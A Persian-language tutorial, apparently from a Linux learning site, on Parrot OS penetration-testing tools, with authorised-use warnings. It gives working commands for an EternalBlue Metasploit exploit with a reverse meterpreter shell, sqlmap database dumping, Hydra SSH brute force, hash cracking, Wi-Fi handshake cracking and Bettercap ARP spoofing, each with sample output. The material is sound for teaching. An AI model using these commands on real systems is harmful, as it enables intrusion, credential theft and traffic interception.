</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

ابزارهای تست نفوذ در Parrot OS

بررسی عمیق ابزارهای اصلی تست نفوذ در Parrot: Metasploit، Burp، sqlmap، Wireshark و aircrack.

متوسط۹ دقیقه مطالعهآخرین بروزرسانی: ۵ تیر ۱۴۰۵ویرایش در گیت‌هاب

Parrot OS مجموعه‌ای کامل از ابزارهای تست نفوذ را برای مراحل مختلف یک ارزیابی امنیتی ارائه می‌دهد. در این آموزش، ابزارهای اصلی هر مرحله از تست نفوذ را معرفی می‌کنیم و کاربرد عملی آن‌ها را بررسی می‌کنیم.

استفادهٔ مسئولانه

ابزارهای تست نفوذ تنها باید روی سیستم‌هایی استفاده شوند که مالک آن هستید یا مجوز کتبی صریح برای تست دارید. استفادهٔ غیرمجاز از این ابزارها جرم محسوب می‌شود و پیگرد قانونی دارد.

چرخهٔ تست نفوذ#

یک تست نفوذ استاندارد شامل مراحل زیر است:

1. Reconnaissance (جمع‌آوری اطلاعات)
2. Scanning (اسکن)
3. Exploitation (اکسپلویت)
4. Post-exploitation (پس از نفوذ)
5. Reporting (گزارش‌دهی)

مرحله ۱: Reconnaissance#

theHarvester — جمع‌آوری اطلاعات OSINT#

# جمع‌آوری ایمیل‌ها و زیردامنه‌های example.com
theHarvester -d example.com -b google,bing -l 100
 
# خروجی:
# [*] Emails found:
# ------------------
# info@example.com
# admin@example.com
# support@example.com
# 
# [*] Hosts found:
# ------------------
# www.example.com:93.184.216.34
# mail.example.com:93.184.216.35

Maltego — تحلیل ارتباطات#

Maltego ابزاری گرافیکی برای کشف ارتباطات بین دامنه‌ها، ایمیل‌ها، افراد و سازمان‌هاست. از منوی Applications → Parrot Security → Information Gathering قابل دسترسی است.

Maltego Community Edition

نسخهٔ Community Edition رایگان Maltego در Parrot پیش‌فرض است و امکان ۱۲ transform در هر اجرا را فراهم می‌کند.

مرحله ۲: Scanning#

Nmap — اسکنر پورت و سرویس#

# اسکن کامل یک هدف
nmap -sV -sC -p- -T4 example.com
 
# خروجی:
# Nmap scan report for example.com (93.184.216.34)
# Host is up (0.041s latency).
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
# 80/tcp   open  http     nginx 1.18.0
# 443/tcp  open  ssl/http nginx 1.18.0
# 3306/tcp open  mysql    MySQL 8.0.32

برای جزئیات کامل به آموزش Nmap مراجعه کنید.

Nikto — اسکن‌کنندهٔ وب‌سرور#

# اسکن آسیب‌پذیری‌های وب‌سرور
nikto -h http://example.com
 
# خروجی:
# + Target IP:          93.184.216.34
# + Server: nginx/1.18.0
# + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
# + OSVDB-3092: /admin/: This might be interesting...
# + OSVDB-3268: /icons/: Directory indexing found.

مرحله ۳: Exploitation#

Metasploit Framework#

# راه‌اندازی کنسول Metasploit
sudo msfdb init
msfconsole
 
# در کنسول msf:
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.5
msf6 > exploit

برای آموزش کامل به آموزش Metasploit مراجعه کنید.

sqlmap — اکسپلویت SQL Injection#

# تست یک URL برای SQLi
sqlmap -u "http://example.com/page?id=1" --dbs
 
# خروجی:
# [*] starting @10:00:00
# [INFO] testing connection to the target URL
# [INFO] testing if the target URL content is stable
# [INFO] GET parameter 'id' is vulnerable.
# available databases [3]:
# [*] information_schema
# [*] myapp_db
# [*] test_db
 
# استخراج جدول‌ها
sqlmap -u "http://example.com/page?id=1" -D myapp_db --tables
 
# dump داده‌ها
sqlmap -u "http://example.com/page?id=1" -D myapp_db -T users --dump

Burp Suite — پروکسی تست نفوذ وب#

Burp Suite ابزار اصلی برای تست وب‌اپلیکیشن‌هاست:

۱. از منوی Applications → Parrot Security → Web Application Analysis → burpsuite اجرا کنید. ۲. مرورگر Firefox را به‌صورت پیش‌فرض تنظیم کرده تا از پروکسی Burp (127.0.0.1:8080) استفاده کند. ۳. ترافیک را در Burp intercept و تغییر دهید.

Burp Suite Community Edition

نسخهٔ رایگان Burp در Parrot پیش‌فرض است. این نسخه شامل Proxy، Repeater و Intruder (محدود) است. نسخهٔ Professional نیازمند لایسنس است.

مرحله ۴: حملات رمز عبور#

hashcat — کرک GPU#

# کرک هش MD5 با wordlist
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
 
# خروجی:
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 0 (MD5)
# Time.Started.....: Mon Apr  1 10:00:00 2026 (5 secs)

John the Ripper#

# کرک فایل shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
 
# مشاهدهٔ رمزهای کرک‌شده
john --show shadow.txt

Hydra — brute-force آنلاین#

# حملهٔ brute-force به SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
 
# خروجی:
# [ATTEMPT] target 192.168.1.10 - login "admin" - pass "123456" - 1 of 14344399
# [22][ssh] host: 192.168.1.10   login: admin   password: P@ssw0rd!

مرحله ۵: حملات بی‌سیم#

aircrack-ng — حملات Wi-Fi#

# ۱. فعال‌کردن حالت مانیتور
sudo airmon-ng start wlan0
 
# ۲. شناسایی شبکه‌ها
sudo airodump-ng wlan0mon
 
# ۳. ضبط handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
 
# ۴. کرک handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

مجوز لازم است

حملات بی‌سیم فقط روی شبکه‌های خودتان یا شبکه‌هایی که مجوز صریح دارید انجام دهید. حتی تست روی شبکه‌های همسایه بدون مجوز جرم است.

مرحله ۶: شنود شبکه#

Wireshark — تحلیل ترافیک#

# راه‌اندازی Wireshark
sudo wireshark &
 
# یا ضبط با tcpdump و باز کردن در Wireshark
sudo tcpdump -i eth0 -w capture.pcap

Bettercap — حملات MITM#

# راه‌اندازی bettercap
sudo bettercap -iface eth0
 
# در کنسول bettercap:
# > net.probe on
# > net.recon on
# > set arp.spoof.targets 192.168.1.50
# > arp.spoof on
# > set net.sniff.filter "tcp port 80"
# > net.sniff on

جدول مقایسهٔ ابزارها#

ابزارمرحلهکاربردسطح
NmapScanningاسکن پورتمتوسط
MetasploitExploitationفریم‌ورک اکسپلویتپیشرفته
sqlmapExploitationاکسپلویت SQLiمتوسط
Burp SuiteWeb Testingپروکسی وبمتوسط
hashcatPasswordکرک GPUمتوسط
aircrack-ngWirelessحملات Wi-Fiمتوسط
WiresharkSniffingتحلیل ترافیکمتوسط

ابزارهای جانبی مفید#

SearchSploit#

# جستجوی اکسپلویت در ExploitDB
searchsploit eternalblue
searchsploit -m 41891.txt   # کپی اکسپلویت به مسیر فعلی

Crunch — تولید wordlist#

# تولید تمام رمزهای ۶ رقمی
crunch 6 6 0123456789 -o passwords.txt

WPScan — اسکنر وردپرس#

# اسکن سایت وردپرس
wpscan --url https://example.com --enumerate u

خطاهای رایج#

ابزار اجرا نمی‌شود — permission denied#

راه‌حل: برخی ابزارها نیاز به دسترسی root دارند:

sudo msfconsole
sudo wireshark

خطای "interface not found" در aircrack#

راه‌حل:

# مشاهدهٔ رابط‌های شبکه
iwconfig
# اگر wlan0 وجود ندارد، کارت وایرلس را بررسی کنید
# باید از حالت monitor پشتیبانی کند
sudo airmon-ng check kill
sudo airmon-ng start wlan0

hashcat کارت گرافیک را نمی‌شناسد#

# بررسی نصب درایور
hashcat -I
 
# نصب درایور NVIDIA (در صورت نیاز)
sudo apt install nvidia-driver firmware-nvidia-gsp

خلاصه و مرحلهٔ بعد#

Parrot OS با مجموعهٔ کامل ابزارهای تست نفوذ، تمام مراحل یک ارزیابی امنیتی حرفه‌ای را پوشش می‌دهد. هر ابزار دارای کاربرد تخصصی است و تسلط بر آن‌ها به زمان و تمرین نیاز دارد.

به‌عنوان گام بعدی:

اشتراک‌گذاری:

این صفحه در تاریخ ۵ تیر ۱۴۰۵ به‌روزرسانی شده است.